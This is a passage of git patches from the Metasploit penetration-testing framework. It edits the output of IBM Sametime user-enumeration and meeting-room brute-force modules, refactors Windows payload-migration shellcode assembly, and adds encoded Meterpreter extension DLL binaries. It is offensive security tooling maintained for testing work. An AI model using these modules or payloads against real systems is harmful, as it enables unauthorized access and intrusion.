b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2 # warn user on long runs - vprint_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") + print_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!") end # create initial test queue and populate @@ -126,10 +126,7 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer} - Unexpected response from server (Response code: #{res.code})") return elsif JSON.parse(res.body).blank? - # empty JSON element - print_error("#{peer} - Received invalid response from server") - return - else + # empty JSON element - valid response for check print_good("#{peer} - Response received, continuing to enumeration phase") end rescue JSON::ParserError, From 445cd7be5a6d86e769ce52f8087ce4f9e254df34 Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 21:57:58 +0100 Subject: [PATCH 189/246] remove "on {peer} line already includes {peer} info --- modules/auxiliary/gather/ibm_sametime_room_brute.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 862721e130..810fecad22 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Brute-force on #{peer}") + print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Brute-force") print_status("Using owner: #{datastore['OWNER']}") # test for expected response code on non-existant meeting room name From 564f9bccc8bfb0c111bc0ae11e2b7978d1afcaa2 Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 22:00:02 +0100 Subject: [PATCH 190/246] Correct print output Printing the room details is the purpose of the module. Reinstated printing the table in non-verbose mode (users won't know it's there otherwise) --- modules/auxiliary/gather/ibm_sametime_room_brute.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 810fecad22..b2e0b6b82e 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -154,10 +154,8 @@ class Metasploit3 < Msf::Auxiliary end def output_table(room_info, test_current) - unless datastore['VERBOSE'] - print_good("New meeting room found: #{test_current}") - return - end + + print_good("New meeting room found: #{test_current}") # print output table for discovered meeting rooms roomtbl = Msf::Ui::Console::Table.new( From b226ecf591281d219696d7cbafc721d1d7aa91c5 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Wed, 5 Feb 2014 15:32:59 -0600 Subject: [PATCH 191/246] Add block_api changes to prepend_migrate --- .../core/payload/windows/prepend_migrate.rb | 21 ++++++++++++------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 19d36e081d..356d12ce59 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva @@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; From 096e06baa6ad0b2d6aa4a13358d650f7532a7e8a Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 6 Feb 2014 11:47:29 +1000 Subject: [PATCH 192/246] Added binaries from Meterpreter PR #74 Meterpreter PR https://github.com/rapid7/meterpreter/pull/74 was landed, this adds the binaries from that PR. --- data/meterpreter/ext_server_extapi.x64.dll | Bin 111104 -> 123392 bytes data/meterpreter/ext_server_extapi.x86.dll | Bin 93696 -> 108544 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll index 90e3ce2a0f6e0fef33b9e8291d4ea4c18d402767..4e3d4728e543c5188577dabeda1e542c160e481b 100755 GIT binary patch delta 50636 zcmaI94SY<;_dmXSlZ_y2gDmk7RwRU=As!O(kR{=U4QWwnJ%!LxR4Th3>S3dse42H; ztr|)n>BFZVEp2Jq5|l&`&s1BYT1~6f8><zq612Vl_nEmH+HZgVyxg6cbIzQZIdf*_ z%$d1Y!4Dw?`x~qpV61z7;81tp-=o&fUz2|@@bo^w4hA9J`@oiiOL(~YU^c=fSMD6l z=VA3hH^TXA<{#7$x(}{Cn8!oL>D>oE;B@YT@A2?~S-CTbx8WauS?LDD^#7PT8v0-U z^??Ac)(~xLEQJ{iZH)$lDxjODvew4VjS?h-A=qG;bKA&98oT$fy=yeQ41(PVp9y5A zFkCYHV7UiilMFLMSh*A(wUHSOdG}xp2}Z-#AcJA%|BQyz=Q}iS-orU#krM==tx<Y7 zB5jSVu@u!e?rFq9Y$!%(LwL_$s=<)jWBOF*RKPY4!%rFT(FixO$x`dSyeg;?XLsaZ zvd*6|XI?Jq5P~eIsv#8NS0(RDBaEwqyGU7mSbT7tG_emG7u;Ry-iH+icW)Nn$6(kw zX_RD;m7{4&wQA_YDuR1UZ}(=mg4;;fhp-l=p3;N8S%xXM`E<L%AbTo8W$n1@vaFm? z$Jp6kQ^)Q-0M9JaoS_-YNwotKX-ehJV1s1HP>!q5BpM9qiDeneml?=$Fp*h8#<so| zWuyX?TFrV1QLRkQJtPMmR=-ST%R+ifgHu^a$cTP}I~WZ+HMBv^lnsW&!<y9xffbcm zih?0&*_RfRAp0_H_EHmQWN%tboa{5*wz1v~ItTTPFtW)Fc7`VnHW=*6$@1?SI?%eV zgIQeY*ZmS8TYnc>am3`<OB+#UB_mYb2U34?SxE~(6**M>3_#RWv$kzxWGM|tNfQ&8 z(lDjbh=B$)?}R#JAUoC2?p}gcC>65uN=z12ZN>gL1okQR$x|j(96NR_b-e7kVv~L5 zHto<_YdUm7R_f%UGFO=F*>9U7Yq3oU<})_}f$W_alb~7KbE+z$YAP!L1xPQo;-pte zh+bz*l4f;ZCy-JLT1(*;Xol>wekWwCS+^3-YpQ|9aQrg@|5*UPO5i^W;O7W@Ime&W zta$=o8o)aQep>*a)yn9m0+Is+-2}nw0fGd<AR~Ye6ZjVc_;7*m5Wrud9`RY9=Xi*| zHc~X;u-<@U0>2`FKNacb1myvOErQ^Q0Krzl;Ijap#yAR?%JC;O>neeNUf`X1z>N#! zbqd_8I&Lg*85{@6WDDHX!&H7znKKE<fdS+If%NGa+X9yyU}_V%`vuO`LRQd?f9vBA zqNs-^mQ|Wg9WojqIE+9j3@Oz;e=K1~Fe__ka?9R1G2su6w?9bw<{7vFdBEnfL%HT^ zrdhYOB&JJavXrWtPr+*E@KJ_T8H4m<HzFhTahW-RFME8=242`v&C<RAF@vmC6by(o zxNag+D%mK*=bH6DC_z`{M$p47l%Q1kC(Ftq&AJ3QhjP@R97Gb->SIGF7X&v87#hzM zqD<s$DKf@uRx9Utwv^hcSw~Y!kX&!Uc}t1sHS4KLWIXR|B4gTV$XSMfFs&<%K|ayU z<t>^MBNJp|Oe#qYqj7S*;8@ed2=_HvIU*}x$(3m_sVL5%u8TJqJOd|yJGIK0ymRQN zP{fX^e*hu-#>S*7hm<OHOk)GpyS1zUl14?GR4olCk0T~ktx2Mq_v6*23bspA%J_Up zWW&J-^P#Mqm6gUP)D^^+`k9q?vZDJY#)R@dq=6mDXN^QnR(_S0n&g3>95fnSR?T|C zN`j!FJ{k3_8Ag>&9=HlvXQN%;VqL3A1gJCzKkBonOQ3&t(Rxq=K^qcJ+jkHe{i4>P zQ+AFSMcwE=q3-DlD6zf*TG?}0leO}K0io3GMTaegX8^UAYWQ_1WoVAwcfV29Qo-Q? zE~pdg0Wk1Boke9o*8?oPPp4AcBjPf}7m9ci#Y?(VF?)%|AiKR!+Yqr7j@2{`P@+a^ zm`D*lQc0BZncu{knx1%Ah*Is6z>CTT39o%~B7)L+2QE2aG^nQutvp8@c5cLiu6~Rv zpaUE1`WDNizhUBef8?(5h7Lq^Qhlc>!b;O1<fK2|zh`Ke{Mm(l+$owxBsT2{%`xBH zPeQv5!GKW%O!)o=Y6bEtRXhti_=LK#3-J{F+m41PYn2$rbFcfC+;9FPcj`ZK2fM@X zDu%4+>Z|6(p%Bl&cyL5vb*@IcZlGB;Z=>=%#|i}|rAkl_fKczLql&72LirT)^$Kc- zmxQNOVJQq(CF&K$d>)9M;hib&CE2O1-9SKYSS8JS@8(iR-v{u|vVt<4?PbOKCUAB> zf=Lo9_J#9`om3}arAF35pw(~D4~gexZ`1-}B!)>v{V>^zQUk-}gnF6R!5Nck7Q;D7 zOoHr#b}dMrd>pG|IFZ@H>xIR&zE}F9`lMHC8Xs)tpZ8(*IW4a!r)sHFc-_oZ00!s= zfDTprXPtuoR;NLFosyIaR?#VnecG-8_0F7_NIv;u#EQv9-Pj3@#-xG*P(m$whjgW; zh<ZninxnFJDSGF35bhi&`b()(FHt_l8iRZ=sGv-`Ak+91^bL5>RGolnFa<LGv)pKS zEYJWujbg=o8L+zzornSf{1U(bT{7sXp*Lub3JCv%YDCFg_+0B#cs=G|>f=)>m;Gec zVMlYQbFf=)ttS~n9o-M5R4!WzS5sMNRFb8As^Jk!`$D9t^bm)V8t3p13spjk4m&fo z!_L;)Vb>@brWRMczj_f>6SBwriL#O%Dx-P#-Ob-vR+faTRh;Umda9QJmWT2!ddl^K zAL{@Nwoe5I^<y3m!)zKt>qimEDk<@NKuep+%BXPYh_j)3mPUbhGWu>ZsM~obN7k<x zcb5yX*y{7MGbWs-=BzZ!c85L8vfbVUvHKh0=b=zMA(rinB_tZcB$d<flbYroOY8fu zX=K?se5RrZ3@j9j%AWuz4wAB|bNaJutD3WI?V9VO+<`T~Hcs}<iFrp}ab*?AY2Cn} z|4R0a2$y~1eoDuh?M-iqr#+s|c<#f~56@sc!|{y9^Anz{cy8j+@H9{(`5c=0Q)POa zVVL<f>jzD+q%_vbh?y_lO*z`rd>>3Y>)jo*5ru0=7xU1SD=Q;I_hO|nRHny|qTPef z9_(G#xiURvG^M<m_j#A~t4tr6H7XdX^udZfl<K3{A?5VZ=}@=^vS)F)!DZSDJvKOe z=`GWglRGoHJ#xaWe%O&@Bg%F7UWuW`XDAaQGn9N=rjj3*p<J8<ZJfaM;|%BVNWGe& zP9ykw)>yMvnPGzn?poQ-48fm7r39g}BS(c(_3o2>LqjXm`-P$us;yg1<mFF*hMae8 ztI6l9$<R<NJLj4ism(I+FDjEQ=~!bj@6)VL=;df-_EOBf0n_RPic&8{W4QMNkATJY zk7b?)icOeoeAXD@4o_FE+0nPkZS{UW`r6Ytu+_IPjZCV~X-PW$CoOan;;5oEB-ch5 z@L0n}{6X;1;lilI#0>Sr{7Iug7Pe4LOK{d}^beE6Ei1QV1uCXoPQ0O>ilx372T`B4 z6xN_^X-b2%WXV$W4Hp+QI-LxL_mQ$|hn!RJV=3B=lrqGYJltj}+KRYC84>DGhKJe} zd$2t@HP}-0645J0d$Pe&^eo~TicAC2Qn&(x8maq{I_+GPuB3*ldtk+25YP7I8U2sQ z%EOo}+`Q`(X_CfHZg{AiJT%mWwWlS_D$Q!f9s?OH5Di*^@dWXF;WtsxiDruqzJ*4A zTUmJkoJNOg)^8d^|4;0Jwj-M*ChY_bGqg-rGQ-ttF(d$pkfcsR<Q6!4J+6hDc6Atz z$}M&CUz&z3fSHCUW#lv%CgJJ|%3e8~hCA3mi%>C>>`n29$=*eA9Kyqq7#mAMmEkty z&`5O-FB6P*P@M#~fcj7<EBj?{mOI=lhmIk0AM*nrs(Dq)wNh9+DCxFbnHoujs{65O zJCs`N!o49Gn0)bs<B7y$%kYh&c${Y4*GL%UzwY9)Gi%n3fMBbz2tzdSu*170CJ$w3 z))zsLrl=5<yKp#gGBCx!IJ|GgEaKtrn3)Leo<EJQe7ka7v(7`7!2a|c#s}XYJjsD7 z<Y6h?FM#&S5UR0eZGobFi;U3ZP*fi4AF1^rR5Voe^dt2c6`JN7?baO10p+Y(3NMD; zyWEE9w8jNaC^^(pbP=3*>A&uz(rLeKDXajHm;NUQ()L={U0-H6ibrmPx)!^K#KTmY z?8QGUPF^`&85xZI2o#G7_Zl$+YHn+4AZ-su*IGUp8eCp2*&$a9#j$qZIE<sCDr-Pf z9JU7OzVxBWDS+gl&(-djZlDU#0IU$iQ})`!5tliCdniT8#0ImP*SX-EH>7r)tby+d zA~H3^zPsjGA!v)GsE}eLY!kK2TNrZ)0N%XEC_+23#=tmqL5u@X7|@<0m@0t%7#3TG zGC4HyXLy1j3J}m}D8#PSU}>L*Ed{BQ`XpIV7)Veh_pnfZu<RX*F;<mW=72{gOZEl< z5Na=_rGxfjCkd}v9|Ch?c97%`S!8L}zM<&jJR_{+IIzT=#`_oy)VI)|7{_V8Q5t8e zoKergk7PG4uwi^*MNLTar5a_Q8+_1)o#0u3JzQJ?F-ObGP&U#wC?^DU7Gp>#pVJ}x z)^IFu@FgHHW_!rWGXhwC%cfaplGY1=QiqCDvP>?ow#khvscBF$>}`=%JK(mbT(LZ* zV(1eKlDB645E$MKixE*iirEUN7%fHD_@ul$1_*S67$gow3>sMxgGjUXY(S$<vo-~p z15g@tG8h#g#3~R)Zl_Y(7*sasi1v}+X~ljT{n+15sBn1u{T%><A_5yr_yy{>4hhP> z4CPveqS8E1aw0aEwG02$!zzRx)om#}gh=<NF(#Z3c<M|}%&gs^gEe&k@AP9u)2u(D z6J@0szXmy_2L3GXR*Khr4iY|{A3?<JP)=Z^?lhxAH0zrnsQKtF3rb^ndUhlrqrsW1 z6lW1P?6z&H<ql1&u2`B>ZO}Sr8`-xmoX{9o^KWw`dgQ4366RNI@pwI8)@AD@hVl~K zJpuQpliUsdRK4cid9f#DWff)8tg%GXAwy}!@eZXzvr2*leL)eghX}<4pGpe?hNlx6 z@7bU5H;2r<R^o~)wEDSWWJA<Y`<yi2(5%GM%5Um+GEjY{94JrXVbbZD=!u*xP;1ta zCKN~10o#l4iy%3u#v{<!Oqw$mk=>9D^(Q38-9*#}EK*?+Xh<Y+Taz{pXA|9rxs?eK z`tpsMbsX4WV{RZZLbzD}N-$cn_w(!}n8DQyvloo;u_%MwHGM!&Rv0x!sem084m%9C z*u_AzQ^#=srg9D&3*w+zFJtxqYwq5hAiK5L2T%gJeC8vh2~atuSub!R=hqM^mdgqC zz8NfUs4wP2ZfLK#Qh;)0<)O&LvcwxCN5B)P(Mj}^N^?=DZ`k-6XeO~%-Fzvw6y4(4 zlq4ezib@YD7d1{Tk0P?+n6prVgVuOYD$mK2u#-IU-DIln{Sv!b(#ZtujO@M)NwXFQ zL1=a8jz!u@=OjFKSz%NL87?QN|70=2R=P39sBF#pU-T?;Y~xtX`mEm3GG-J+{V&Q2 z)%V`&Hb-^+D|EQGgqophZ85?gLqDUrI%p}Mgm`AP8fc}GdaMA2qQBh#>@cz*FiIY~ zr{A)9#Sc48>VMjkfD|qi5Si3T;0FK~3kNs^fNDx?Olk@Nd<qRrEHS9zo@=~vY9lfp zJ;BtwEGOFPws}ga1z>j$Ls{`sA!_tpc36wlp-BE;l{hAp>~4M+<)=ES-?t%#yzP`f z=-=~0MMFzsnzuCu^$szzp%EQ|3<w{M=o^GtgKdmR2ucewvd<$%N*_iun>9xYk7iF< z-;&<#z~Wl04x5H4mwa(2)MGYwutn#fDWI-x@kEecGL}qlX*U^Lv$xx(w8h-GgSXJL zKdyo_J{pi?6zNjO{%m`nwCEkyBdV1&=^d64)gdwZX&Q^Bk?+7I5^E-5?T@SJ{>|OZ z0=N25cN}h*fBz4tnwGp8wb>|5tYahE+ob+=Y)*TZx%nToq}(RoXyotgm-a2)-(CkZ zpSA7|$>tC(09bPO5fJk}h9>O0-AKW{tEB$$Sub!(EZ5GMY=?JxOpaz{g2&f7hR$mW z0K!oUae&+QNzTE)9N8;DWT%!Fkge$K8DrDFgwd%JJ|GD17Zf-RLY?f|7kXX5spoa} zv2BFZ{W>#tNNk?~W{Fy+Qb$u9EY9Dk+ME~spX@g_rbDNWvjOzfJ?T0Qr)xG%7^!Mn z3!>vkCRnOQ{Kj7C&|d2D8~e0FjJp=*mO~kuu(L1rZgf)htpJ4Y?56`x004755*zf# zZX;S$wlhhf9G3Jl^#h>Ol%So-@X**-RMS8wHt+IWN7d0*8g#TyrP8t>c3E@+B&IcJ zf3MM(F(qZvzU~&Pi}@S&J!aQmsn|fD+=mqU<QLH==a2zYF!jkym~Whtivhi7`jveb z-L=cPYdix(2F-d53CP3=ftGW)e>rx1i%`wiB3SQ^iPExbY*xok(zt8v`Hm4%w+8Hg z9Xm%o0#aI063}EPR?|c3*5+VZ0bR_R08fu~bxef2`X)fXd9x$E+2P)7n`ZsCw!Yrs zI9s5UXa7w5l*yAOR6rlfK+hF#H{ZQ$)~7i=S>dF6E097v{|hOC_)SiHoU5G!s)|0( zCUT#(T*nMnR2-ZErYj#<3>GXN5-hwRyhs0_?PqoM18GDpI~|h~{#rAtQ$T=kU1dXJ z$4aBFvh}f(q?enro3S0Fh^wr1r#aHKAXePzEoo6L>(M#ZoIxdJ#*tMvsFvk)Ug^FJ z2n;CYE6r;8nV9l+VI}<zj&nX9s%Y$xSzQSTEmS038Z#u>?IG;Tkq!3z7PPLo7E z@HH?;1co}^1~rMpz#|f1_mD-*X2nHHo3AiW-0bj6G&r!>*tj!(Q%m+&T<YNEP#`Tf zkN-Z&f0y##xB2gS{=4!X_~SgDgJ0Mr+g@hNx(t-MPGh^f40U&ZnT!!r4+J$XviV{= z3P=n=ayg`xfV3va{TyNukZ^(w<`9#Bgb<`VhunFIbN&NCO&bomCLq5Oq#=j=<Q5>6 zKsT|-X|dl3$OVG@$RVE#$QK0poI?%^$Pt2+bI4u+DI>@S9P+V%d_s^{Ib^edY$1rk zA+Nv0{_L784J&0y@sp*H%WQpoN~_H~u($=4!&P+3-@vjx_!=UzVp_e3U5U3zd5c(+ zZrxfx23Lu$77oq&ii%^AbQs*GX)m#{-FkLv$<gW6HRx#2Rc1WhKu)Q2iNmawpa$vZ z3)$vwlUslO6Q%g9He9nFM@n#FFS3r^dp4Ch@ucbuZ(AI9nOZGmGrA|b#cElK$;qI0 zYZPGMY{&OlX}%$$>KhT<%bR$b)}~luf~^}L^!J)#w7z!?m<j42URlhoKl3^rRiAH& zeD@k}e5EQn>~@C9N<*y1nspbE(qhP0vST^{9ose3tS|f>36gs&?j-J_<-v(%{=~bL zzk~@&7+0eHj}sr%pN1H>0dJ$_ez-|!61&@;yM`)`2Z&`0UW*QTYYre&VDYZcB=V4( zTx5aah>D-N#5c!lEB;Y}-T=4lpBX+88P@#Y47#y<?+z_zZvrHZY1@e!2?<yVD*+04 zLe!rym1)*wFvWiP2y_+Z!35GNzT1An{Uf42>xX=9I)vo~+ie120tv?=<{SNa;%V&^ zZD;+nk@F?cY1RQE)2o3@b(+;kAU<O{`+KIxB+z*R=9(mEP@Fm)bx<0UXTxS0U-p}Y z%v>_5;~YLa&3C?$p*#5&9Onp_<U%;F<C^u)A25ykCSrRN*iFplp51$P6vvLSjY}fk z31Xk>pcBwrfeu*29bBs1fT~8r!g)EM7zyg0rcn5I$SVp#)T_hSA<%~X{4g4xB-%1z zPIY+mBW3SwR5?G6cEQ1rFUA)t$G7=VB{$9+;KADtcK%Y*C9%5K@BFZ~W<$Rc?DYo) zx^{Ejg7+~4E5ceZ3@BA#5Rmol3Q8;k$BghA1^mU}(6v9HJMJ=n1To>`Xc+jwgYy5< zxO)`tZk}Eu&%Y?${}~B3s)~A?yC~q=vT7HxZ>6F1rs;0|F(}YN+;c#eV-oltqM}1_ zJ^drHz>G+hOAQ6(T|11L_7|2tGAz;%I^-Rn4tes&FW2lnBL`t?B;Wi_F2CGT*#`k8 z>2rfF1YHW)O>OEP-XPeI9&K-Bd%L%9cHuJOw=i*$5rN6B$(oYd?wyU&pPg8%``Qf} zSBNw47D~Y(^kk9ggCd-lhpN+CQ-@+|Go7J(8t@a-&SPk}Qq0NB#YEOn?bD9A?t9Yw z-#F~P46q{&>gpEkkNXxhKV6OdxrZS7BJyQu*4MvfMG4W;wrKWFLcb={187%MbyH{d zOM*@MC7Olz?AWAfJ;tn#>&)yu3z~f1$za$;%)OE7-UxQG=OF3nPR!D)i!`wl>))$m zlYT@HEeJYBu-UzyjDC&|@ic4B1>WkG>V{a<hfI-9-$2}l)DL1=gTy{=kdac^)TiN0 zD{TiB>NSedVZFKmY;pE?1>Qmj`BF7&4KnMdP`6~$lC=;VcKk=x-@zRt%Ix2)h9FvL z2&4RWVggZFIp}Yuo&-w0R1d^%jqOStIRfm3rWc);EooJ}C=5EyI`D33^O8-KYfxGi zm1Y;E#mk;M)eAl)$bH0lSPaYR-6p;Z3g9i>dY-p58EJ2j|4TJIfLJFGwixz8?}bgC z?s!+a`Au1yK5^3h9a(yx>5@O1ZSM1M#B-2rK>SO>!Ly>~J=UR5wDeFk8`w8D<a!6} zt7ote`t)Jv`?iysFK2i9CYm1sR9A^H7M9ZQQR!D3d#m4UY1}#1G-;$1dX7y_ij!VD z%ZihROKYpxXGyP1(e0TtxnHZ&vuHvtISCr4CC?zozjo5!L_OV(?N9D3O^steCqLh| z1$s*{_$Ow9>;p9vsX!&KH)b#OkCDzqv9kX8oxbY=W;9wH%Ga6Rp^=&1kv1BR8NQ)5 zEQT50p{m*;p7lxT(Zn2em&vV0?1_|?QCZLiKW^jfOFXUqKsGa+JO|{IJNaSi@wV*0 zDeal<zacDSKthuR*gywrFs%_w8!$KgP8)zoFZ~`qNZGAtzGd>XcqvU`u4yq+JEi31 zX+w+;ZrG@4LzTi6t|^$}gAQfjpHgAhzB_^RQ9NJcsl-!@=SMu}@a)H9$}t%JM0g#~ zNjz8Ze23>tJY`c@;`E2$!-P*rzes1g0~aMfc#*wEwQCQ9;YNj#wk{`CD-y7$?m2}) zg&mlHBDoclp;UQp8(quPo~`(JYLHk~(+|>6$F&q`H3<lRjrwCMjdgYk+`Oi+x8ZA7 zM<?;bjuqI22VsFODqGw@eGU2iN7Z$SlwQ<c9nqIZS|lD;n?q=rs2XdgWyn%<jE|&V zAU{%c+Vy~9dK6GhE6+YjmhK_1X*|-&)*Ae}OzJ^QTk8F&3;DOg)rz6WsP;l(>Wh&E z!zzNhJp(5`4nMSWf!c~{G0$^ba!ppuGJtAHGG#4uJ-l;Ku)*Myjq2J#tbAbe<hF!; zld#HBC|nDugBN>O7-}bJc*!2j{{9xK7akmLOnYtzxf-A~1<X9Cn>4#GOBr;()UAL$ zJE(<p<qUg!(12d;&S)C;>R3ZPcZ{yyC^Z4Mz7kK9t6BoCKJgwc%!+CG85S`(NlH7z zMh#9Xd1`PQW76a|&<W0VutmlprsfSI(K(y!1QZp8(J%;L#c?N`@A0tr`Z6Qvm|8lJ zeVN+1LELeOW!FF!WWO!#oyRnLtKNkJu@fePh1RCtbm3_Yi9f22EG2H7WWxL*gT)8q z9g#Tocjg$<x5K+fQ6Q~vxPtKpq=d$V<HRt`b4PPFzyx)hy*VTy;notPq2gZ*w*-EI zYyJvoyK*iA+d}16&6;wQ1r2>vdaaDj85%DwPGT<(9W52lVwZ<bmj>mrthBCj2;AxL zVbxM4JE87~S5wnrez(Bo3M?)^T)s;Y4)K5jgTSC3y9Zu&ne9u9cE2J(<c`~0KwRQa zs>K2p2^b|8i)0;fm@DGsqQpjT!c43rDTkb`J*5*#`Y5_qREP-FR3i43#Bt&!ai4|| zf1jxp<w_o2>%^tF1PfKW8CBb?Hs#Els0}IfxK)D_w}(b!yL{N$h$u|z)f&dqJ4**^ z*zWXc(gTk&+pw`x!fdu+SX^`ndSDeii)B=bVtsBFbOUP{;#H-5W%`np4VxhKoW-Js zcd@>Qy`{kwQ3@^7)bb!qHKuhhvkAkaGJ5}@X`WcuLf}1j{&F>|G(CbiQqcQD2QhZ6 zo;!cKA}URz>%s2;jD31b&z(P9xGn-!sWkOm$jXOj1*iO~Y0N6Omx^;(UwKMYXH-j0 z#EEQC9>y9>RV5>s3?q2lK03fYl-))@>y^<<+LX#3$>=A|OJy4}K9hPs%I1&gINj2R zny75pLCqqUkem{gI29}85PsfKt2M?2QJ=|x%YJmf5a>hjxPFWVVI(yIAzb-9uVVTm zhf>h)S`D;dRcZ!P_0_)Y)`;2CoSy8Fk#9tPgkG)H8q%fWXDMGs$_enBc9Gc}ZQL_w zKq{6ZQj0y57X$b~%xtTap}}6$()k#ILqol$g^0jUPIt^PIW8mcS$NH^KZlbCoZ5J9 zo0eJS+#{ClX(PiPv3m>Uyzenh?el-HoF)8<+eS!!S#yxAOluW6q`1(SdV~|OosKr+ zvW_BN>AwJj<qtI4b4aVTlpD1}RAcjHKtzoTzlQ|8QRe`t)q+sbr+cFx<2`kntCPdm z=k*Chc!3s$qiXi|tZU{-Y4~)uFte*PauRzpvrkKB8I5lJk_(+S(I#bK8M~U<GI-b( z^l+n5&qX!IuFKyFl9nify`SkCsY?Syst>YHM#V`j@>un#sEE-Rz{-J4%pBnkU)xmF z;L8cD>FB4TS`j@s^a-U1IP|%BKyc`D=>Xe0`Y~zsdDb>7O>$7so4t_ry*u;*_3lWS zMu|zi{S8lLi_{g7nkiBjL@H0DPKneak=n;oN&)&&0JaIhMgsUu^S(g9mFY#m_ww#O zsc!3TFie9!DncJg;ZTXTq%pV~WZL}TJ!%-D<{;-Pth#e>15gae`N)s#yUKW}nlqjj zW!G<LLCU~iCPA%RgUj!e*h3GrX=Fn#>Ym_l*zyNj*~Y<@=eeahqiJz#qJ9D^Pcf$g zh|!K!Y9HJFfc=rLO9}c*Hl4kw<Aote>)dcGaeS#$`;wU?Hio?v^L|j`v`LjYX<)^J zk${n(gOg*v-odJDp!WD0M{(y#3Bq@=$zwVhPqU&iz1=}LDVMz~xHvqo(*QS!VRae? z6<X>c3<jJ4zK7-uL6mT`Hy{WX%xhCWj6K=wDMJoOm;$xnDkLa!Jb}D_vs-ABmT|?V zzJo&5+HQPFoQx&1;h&h_zJNLAHN7w%GON>^!+G0r$PUU&o$CdVpqQPYAOX~|6=R!A z;ic?_u`xY+Q8tJ=OkD~#9&-nzF+Jn#Ap+H=U98%eoC*+ZL-dzBoB79fYB3(N#DTx3 zEW(?l9zi8!U)11i)_Gj7h{gd_IB}_P;Qs!DZ0@+RZslPVpFGfsz!@*vc?ul_!JS1* zCIPHouLUQs>3+lo!3JIje$Sn%qFEn@jInFSjVrI|GFBSP+H$3w7bJUPs{k<24)X4v zRxuv~P_zEEouxk5vCr#BR0yncj{K)|Q~#q1;;C8x*v{pOJt6!WIvn1TPuThgW8K3) z;g_WDu{{-Yn`emi3}lm)s8L|e-F)Y1<!el1rLpR(LWA(8j0<;Sqq=d5qv|38Dp6KS zdSWRc)9#*J<L}M&%cI2CeN-L7vzgCQ+7nBGLG2-6yO2<$d9K(`2myk(MR*j$?T)h< z?w!t6fDoqf&9hVkY{%X}t1y=)E(TAp$pH$gw^=<y1fJN|fD^vW;voUdrvlSZU`&n1 zV)z}!v>Y0Alx|&_Z;b(^FY0s_f|R3Bt7j;KH|o1F?9cI8?&U4P5l4QJ=<<BT)jgfK z&_k&<(+JR~KZ?X56iL-*{s4j61bLu;BamJ~yTaRKv-+%xAX!Qz3JoOB!24EG8{31h z6JqLA!Q6tA+Qh?lUzUW6J55%yQ`ymjhJ1_+I1a-l{wbutn0zX0MA)2afOJPayhz0% z{pbKH15U)6Z&<=ZZ#OxCx*R*kJ*zbzc4j|3)MM;wfL3`1{yLo&&%y?%Or<HBR#H?i zt+-E1M2pT_ioT-SD&{T4q(3)GC{Y_Y8L$+-Be4JB*s2ot$iv;z-XNmn1}@2eQBL`5 z{xn&!z@fx*R*~*LMNw}94R-;}J$S}N0*Q1Bo}O94&OF?6f{WViGmk=`MsaVUb-n=Q z5~vYCtLXZmMR<%SLxM=UI#rq~b45D@A{_|aZc)v+m%(qjytR!@n-JHg5rpQcGdf$A 